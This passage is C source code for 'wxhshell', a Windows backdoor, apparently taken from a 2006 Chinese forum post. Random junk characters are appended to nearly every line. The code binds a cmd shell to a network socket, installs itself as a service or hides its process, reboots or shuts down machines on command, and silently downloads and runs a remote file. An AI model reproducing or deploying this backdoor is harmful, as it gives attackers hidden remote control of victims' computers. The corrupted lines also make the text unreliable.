  else { `p+Zz"/  
ToYAW,U[d  
    switch(cmd[0]) { ^j7azn  
  s=CK~+,/  
  // 帮助 w6j/ Dq!  
  case '?': { '] +Uu'a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?IpLf\n-  
    break; (W}bG>!#Q8  
  } /Z7iLq~t"G  
  // 安装 }f2r!7:x  
  case 'i': { U(x]O/m  
    if(Install()) m8.U &0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#k5+?-c61  
    else AlJ} >u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r(9~$_(vK  
    break; XVU2T5s}  
    } z?35=%~w   
  // 卸载 R LD`O9#j  
  case 'r': { Z(Jt~a3o  
    if(Uninstall()) n?V+dC=F}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_Bb?o5  
    else g:EVhuK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@$Ko5  
    break; fDSv?crv  
    } 0]4(:(B  
  // 显示 wxhshell 所在路径 )2M>3C6>f  
  case 'p': { ~y7jCcd`  
    char svExeFile[MAX_PATH]; W 5R\Q,x6  
    strcpy(svExeFile,"\n\r"); K<>sOWZ'S  
      strcat(svExeFile,ExeFile); @e{^`\l=<  
        send(wsh,svExeFile,strlen(svExeFile),0); W6Y@U$P#G  
    break; D+>1]ij  
    } 0 iJue &  
  // 重启 |ZQ@fmvL/p  
  case 'b': { tor!Dl@Mo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aM;W$1h  
    if(Boot(REBOOT)) ]LM-@G+Jz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Skv(IL  
    else { M'/aZ# b  
    closesocket(wsh); {26ONa#i  
    ExitThread(0); bcupo:N  
    } ~zw]5|  
    break; 8,uB8C9  
    } TjG4`:*y#m  
  // 关机 Si~vDQ7"  
  case 'd': { ~ar=PmYV7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :<|<|qJWo  
    if(Boot(SHUTDOWN)) N;[>,0&z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vY_-Ranj#.  
    else { ZWS`\M  
    closesocket(wsh); W | o'&  
    ExitThread(0); N 8-oY$*  
    } 2@ Z(P.Gh  
    break; L31|\x]  
    } 9HX =T%  
  // 获取shell 0P]E6hWgg  
  case 's': { XO'l Nb.  
    CmdShell(wsh); FJd]D[h  
    closesocket(wsh); qcT'nZ:  
    ExitThread(0); ,#8e_3Z$  
    break; n..g~ $k  
  } e$pMsw'MJ  
  // 退出 BXyo  
  case 'x': { y.q(vzg\_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xL" |)A =  
    CloseIt(wsh); I&YSQK:b  
    break; :GJ &_YHf  
    } F,'exuZ  
  // 离开 b3VS\[p  
  case 'q': { -! K-Htb-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /S lYm-uQ+  
    closesocket(wsh); 1PatH[T[  
    WSACleanup(); {,L+1h  
    exit(1); jkvgoxY  
    break; tzh1s i  
        } nb>7UN.9  
  } ivz{L-  
  } -(bkr+N  
<Z/x,-^*<  
  // 提示信息 r4#o+qE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ggb5K8D*  
} <=,6p>Eo[  
  } -uy`!A  
pf7it5  
  return; [#sz WNfU  
} L~KM=[cn  
d0,s"K7@  
// shell模块句柄 fX|Y;S-@+  
int CmdShell(SOCKET sock) _hk.2FV:3m  
{ T'b_W,m~,u  
STARTUPINFO si; =*LS%WI  
ZeroMemory(&si,sizeof(si)); %x} O1yV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n9xAPB }  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tmtT (  
PROCESS_INFORMATION ProcessInfo; ::/j$bL  
char cmdline[]="cmd"; 9U%N@Dq`Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0MdDXG-7  
  return 0; ^) s2$A:L  
} L{`JRu  
E)fglYWs2  
// 自身启动模式 s91JBP|B7  
int StartFromService(void) UMcgdJB  
{ z.I9wQ]X[  
typedef struct mOlI#5H  
{ ze]h..,]K  
  DWORD ExitStatus; yiA<,!;4P  
  DWORD PebBaseAddress; _:"<[ >9  
  DWORD AffinityMask; ,xxR\}  
  DWORD BasePriority; 9\DQ>V TQ  
  ULONG UniqueProcessId; `9b7>Nn<  
  ULONG InheritedFromUniqueProcessId; fP `b>]N_  
}   PROCESS_BASIC_INFORMATION; 1N>|yQz  
aUtnR<6  
PROCNTQSIP NtQueryInformationProcess; uF3qD|I\  
t0T"@t#c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m RO~aD!N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x a06i#  
(#E.`e1#6  
  HANDLE             hProcess; smDw<slC  
  PROCESS_BASIC_INFORMATION pbi; u5%7}<nNi  
5EfS^MRf\n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G@Z?&"    
  if(NULL == hInst ) return 0; 7?%k7f  
v*[.a#1^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AD<q%pu&H?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X<%Q"2hW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w:<W.7y?0  
_}En/V_  
  if (!NtQueryInformationProcess) return 0; A`}rqhU.{-  
^:Gie  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n= u&uqA*  
  if(!hProcess) return 0; &sL&\+=<(  
?28N ^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r|qp3x  
*^wm1|5  
  CloseHandle(hProcess); IDG}ZlG  
McQe1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *NClfkZ  
if(hProcess==NULL) return 0; 9& 83n(m  
G JqJlgHe  
HMODULE hMod; \0f{S40  
char procName[255]; "UJ S5[7$  
unsigned long cbNeeded; & J2M1z%  
cu/5$m?xx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9*1,!%]  
M L>[^F  
  CloseHandle(hProcess); 9 o&`5  
uPl\I6k  
if(strstr(procName,"services")) return 1; // 以服务启动 `p;I}  
9Q+'n$s0^  
  return 0; // 注册表启动 eXf22;Lz  
} b8LLr;oQw  
y`XU~B)J1  
// 主模块 wLOB}ZMT  
int StartWxhshell(LPSTR lpCmdLine) :H wA 5Z#  
{ [+DW >Et  
  SOCKET wsl; <U\B!fO'  
BOOL val=TRUE; -u8NF_{c  
  int port=0; @("a.;1#o  
  struct sockaddr_in door; p$3sME$L  
 _ "VkGG  
  if(wscfg.ws_autoins) Install(); SF<c0bR9  
%Va!\#  
port=atoi(lpCmdLine); `.Qi?* ^  
&?yZv {  
if(port<=0) port=wscfg.ws_port; VQS~\:1  
I\$X/t +dH  
  WSADATA data; cbT7CG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tap.5jHL  
# a8B/-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    VN\W]jT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (j3xAA  
  door.sin_family = AF_INET; YS*9t Q{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 65aK2MS@  
  door.sin_port = htons(port); !74S  
W|g4z7Pb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7M<'/s  
closesocket(wsl); j?x>_#tIY  
return 1; +yD`3` E  
} lUvpszH=  
)j0TeE1R  
  if(listen(wsl,2) == INVALID_SOCKET) { In<n&ib  
closesocket(wsl); m~-K[+ya`D  
return 1; n+A?"`6*#  
} &RnTzqv  
  Wxhshell(wsl); qtQ6cq Ld  
  WSACleanup(); u*ObwcI/Bn  
u /\EtSH  
return 0; Dw<bn<e-  
x?2@9u8Yb  
} R&BTA  
V^Q#:@0  
// 以NT服务方式启动 yU-e3O7L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sWc*5Rt  
{ /! "|_W|n  
DWORD   status = 0; "Pu!dJ5[]  
  DWORD   specificError = 0xfffffff; f>UXD  
Xy$3VU*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +>{Y.`a;Jo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pw)||Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `</ff+Q6  
  serviceStatus.dwWin32ExitCode     = 0; 9{5&^RbCp  
  serviceStatus.dwServiceSpecificExitCode = 0; +oovx2r&  
  serviceStatus.dwCheckPoint       = 0; D)m5  
  serviceStatus.dwWaitHint       = 0; M$>1L  
3 +G$-ru  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U<_3^  
  if (hServiceStatusHandle==0) return; =pS5uR~  
fj;y}t1E]  
status = GetLastError(); n O\"HLM  
  if (status!=NO_ERROR) 0dGAP  
{ 5n9B?T8C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P'Ux%Q+B>  
    serviceStatus.dwCheckPoint       = 0; UJ CYs`y  
    serviceStatus.dwWaitHint       = 0; IpcNuZo9&  
    serviceStatus.dwWin32ExitCode     = status; 2[O&NdP\Zk  
    serviceStatus.dwServiceSpecificExitCode = specificError; /2=#t-p+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GycSwQ ,  
    return; 0+kH:dP{  
  } I uMQ9 &  
Pa V@aM~3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `\#B18eU  
  serviceStatus.dwCheckPoint       = 0; `OXpU,Z 6U  
  serviceStatus.dwWaitHint       = 0; B1>/5hV}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8TLgNQP  
} &h^9}>rVjV  
4'a=pnE$  
// 处理NT服务事件,比如:启动、停止 p8h9Ng* &`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2ZG5<"DQ"  
{ [f1 (`<  
switch(fdwControl) oPXkYW  
{ N`L0Vd  
case SERVICE_CONTROL_STOP: 7 /VK##z  
  serviceStatus.dwWin32ExitCode = 0; b`~p.c%(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7!EBH(,z  
  serviceStatus.dwCheckPoint   = 0; ~M7y*'oY  
  serviceStatus.dwWaitHint     = 0; 4{rZppm  
  { S||}nJ0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;>?rP88t  
  } j}JrE,|  
  return; {MCi<7j<?  
case SERVICE_CONTROL_PAUSE: #xQr<p$L6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iS WU'K  
  break; R3;Tk^5A  
case SERVICE_CONTROL_CONTINUE:  CohDO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; smRE!f*q  
  break; clL2k8VS  
case SERVICE_CONTROL_INTERROGATE: _m gHJ0v'  
  break; {B?Wu3-  
}; !'&n -Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @` 1Ds  
} *E/`KUG]  
{=!b/l;@  
// 标准应用程序主函数 QLEKsX7p>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t>urc  
{ :U3kW8;UMP  
qln3 k`  
// 获取操作系统版本 p?) ;eJtV/  
OsIsNt=GetOsVer(); %_RQx2  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  D#il*  
/H(? 2IHC  
  // 从命令行安装 cDFO;Dr  
  if(strpbrk(lpCmdLine,"iI")) Install(); si`A:14R  
52 fA/sx  
  // 下载执行文件 Crho=RJPR  
if(wscfg.ws_downexe) { ZniB]k1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  -QM: q  
  WinExec(wscfg.ws_filenam,SW_HIDE); #h8Sq~0  
} aB{vFTD5  
)z73-M V"  
if(!OsIsNt) { q Gw -tPD<  
// 如果时win9x,隐藏进程并且设置为注册表启动 g X ]-\  
HideProc(); vq^f}id  
StartWxhshell(lpCmdLine); +eyc`J  
} s:/8[(A  
else 0=* 8  
  if(StartFromService())  \N!AXD  
  // 以服务方式启动 U(Nu%  
  StartServiceCtrlDispatcher(DispatchTable); K9$>Yxe|  
else fPn>v)lN{  
  // 普通方式启动 H:t$'kb`  
  StartWxhshell(lpCmdLine); E9Np0M<  
b\vKJ2  
return 0; )vjh~ybZ  
}
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只看该作者 1 发表于: 2006-10-10
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